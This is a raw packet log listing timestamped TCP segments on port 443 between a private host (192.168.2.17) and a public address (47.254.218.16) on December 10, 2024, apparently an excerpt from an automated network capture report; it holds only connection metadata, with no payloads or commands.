Dec 10, 2024 12:48:52.547774076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.547811031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.553487062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.553503036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.553550959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.553556919 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.553603888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.557770967 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.704507113 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.704521894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.704610109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.704617977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.704662085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.710195065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.710207939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.710264921 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.710269928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.710314035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.715373993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.715387106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.715442896 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.715449095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.715503931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.721366882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.721384048 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.721437931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.721451998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.721504927 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.728059053 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.728074074 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.728133917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.728140116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.728183985 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.732964039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.732978106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.733028889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.733035088 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.733078003 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.738883018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.738895893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.738941908 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.738949060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.738972902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.738986969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.744122028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.744134903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.744189978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.744194984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.744240046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.916721106 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.916735888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.916802883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.916816950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.916860104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.922029018 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.922041893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.922099113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.922103882 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.922143936 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.928178072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.928189993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.928281069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.928289890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.928345919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.933901072 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.933914900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.933969975 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.933974981 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.934020042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.939230919 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.939248085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.939300060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.939305067 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.939347982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.945224047 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.945236921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.945290089 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.945295095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.945334911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.947123051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.951133966 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.951148033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.951200962 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.951206923 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.951248884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.957108021 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.957142115 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.957197905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:52.957204103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:52.957247972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.116683960 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.116709948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.116882086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.116902113 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.116947889 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.122622013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.122637033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.122709990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.122730017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.122785091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.128566027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.128585100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.128643036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.128650904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.128693104 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.133811951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.133826017 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.133876085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.133879900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.133925915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.139926910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.139944077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.140012026 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.140017033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.140057087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.145793915 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.145807028 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.145858049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.145862103 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.145901918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.151344061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.151360035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.151416063 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.151420116 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.151453972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.282423973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.303915977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.303932905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.303998947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.304006100 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.304069996 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.308736086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.308773994 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.308834076 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.308841944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.308891058 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.315485954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.315500975 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.315557003 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.315562010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.315606117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.320669889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.320686102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.320741892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.320745945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.320787907 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.325973034 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.325987101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.326040030 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.326045036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.326087952 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.331970930 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.331985950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.332036972 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.332041979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.332086086 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.337903023 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.337917089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.338072062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.338077068 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.338120937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.343485117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.343499899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.343549013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.343554020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.343595028 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.496005058 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.496023893 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.496191978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.496191978 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.496201992 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.496247053 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.501431942 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.501450062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.501509905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.501516104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.501542091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.501559973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.506649971 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.506664038 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.506728888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.506733894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.506776094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.516927004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.516944885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.516994953 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.517000914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.517148018 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.520562887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.520576954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.520623922 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.520628929 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.520669937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.528021097 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.528036118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.528084993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.528090954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.528131008 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.530046940 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.530065060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.530098915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.530103922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.530138969 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.530160904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.535537004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.535551071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.535614014 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.535619020 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.535660982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.688250065 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.688262939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.688436031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.688442945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.688488007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.693370104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.693388939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.693420887 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.693425894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.693459034 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.693480015 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.699124098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.699139118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.699198961 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.699206114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.699251890 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.701536894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.705406904 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.705423117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.705466032 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.705471039 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.705512047 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.710383892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.710403919 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.710442066 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.710445881 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.710479021 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.710508108 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.713680029 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.716485977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.716501951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.716555119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.716559887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.716597080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.722556114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.722570896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.722620010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.722630024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.722668886 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.728111982 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.728127956 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.728185892 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.728190899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.728235006 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.880383015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.880395889 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.880568981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.880575895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.880621910 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.885961056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.885977030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.886035919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.886040926 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.886080027 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.891256094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.891271114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.891340971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.891345978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.891382933 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.897142887 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.897160053 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.897217035 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.897222996 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.897265911 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.903249979 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.903265953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.903327942 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.903335094 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.903378010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.908421040 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.908437014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.908503056 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.908509970 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:53.908555031 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.952994108 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:53.999792099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.268491030 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.268496037 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.268528938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.268585920 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.268599987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.268629074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.268650055 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.269963980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.269980907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.270044088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.270054102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.270096064 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.279550076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.279556990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.279617071 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.279623032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.279666901 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.280523062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.280539989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.280585051 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.280589104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.280630112 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.282336950 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.282350063 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.282398939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.282403946 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.282438993 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.283338070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.283353090 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.283395052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.283400059 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.283410072 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.283431053 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.284029007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.284290075 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.284307957 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.284354925 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.284358978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.284400940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.285248995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.285263062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.285311937 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.285315990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.285357952 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.286205053 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.286217928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.286267042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.286271095 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.286313057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.287988901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.288001060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.288045883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.288053989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:54.288095951 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:54.288902998 CET	443	49729	47.254.218.16	192.168.2.17
